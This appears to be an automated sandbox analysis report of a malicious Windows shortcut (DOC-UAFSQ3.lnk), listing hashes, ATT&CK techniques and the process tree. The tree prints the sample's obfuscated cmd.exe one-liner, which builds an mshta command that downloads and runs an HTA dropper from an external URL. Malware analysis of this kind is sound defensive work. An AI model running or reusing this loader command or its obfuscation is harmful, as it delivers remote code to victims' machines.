4f80cf817f56b5a84821feef95138dfd18db1dda1152d32b8535c668dc08f3fc

Analysis

max time kernel
60s
max time network
42s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 03:34

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General

Target
DOC-UAFSQ3.lnk
Size 2KB
Sample260823-d424yasdnc
SHA256 4f80cf817f56b5a84821feef95138dfd18db1dda1152d32b8535c668dc08f3fc
MD5 ba38bf8fa53d1b5b54fbbe44686f2173
SHA1 245cd0540d62db9787a1d84cd73492fbaad2fa05
SHA512 4e87a64275445e69ac2f5ac692cbab226814b2264e3a8a962f23161cd5ba77ea2202243b1e95f8bf1d6d7500eafd477e0c29c7c17d389e153b57e29c22474a84
TLSH
T192418B413EEE11D4F2BF8E76E8FB275049BBB8525D50C68C0550810D2423B02DEB7B27
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1268	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1268 wrote to memory of 3824	1268	cmd.exe	90
PID 3824 wrote to memory of 916	3824	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-UAFSQ3.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1268
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D/V:on/c"set WF=8hnmshtz&&set jLvNx=76tar&&set xaQm=tmpudtxwjwiixtmp&&set Cyy=sysovbrjtppoalvbcnsys&&set SvmCH=logsemidsqvrlog&&set YHIg=cachejynqbcuaacache&&set Zc=infhvyvmamtinf&&set Ne=idustagz1&&set RotcY=brtze&&set HGsk=ht@tps:/@/k@-@docu@m@e@n@t@acio@n@.@l@at@/@h/@e@st@agi@[email protected]?@r=@3F14@77F@1@5398@D1&&start /b !WF:~3,4!!jLvNx:~3,1! !HGsk:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Windows\System32\mshta.exe
    mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:916

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads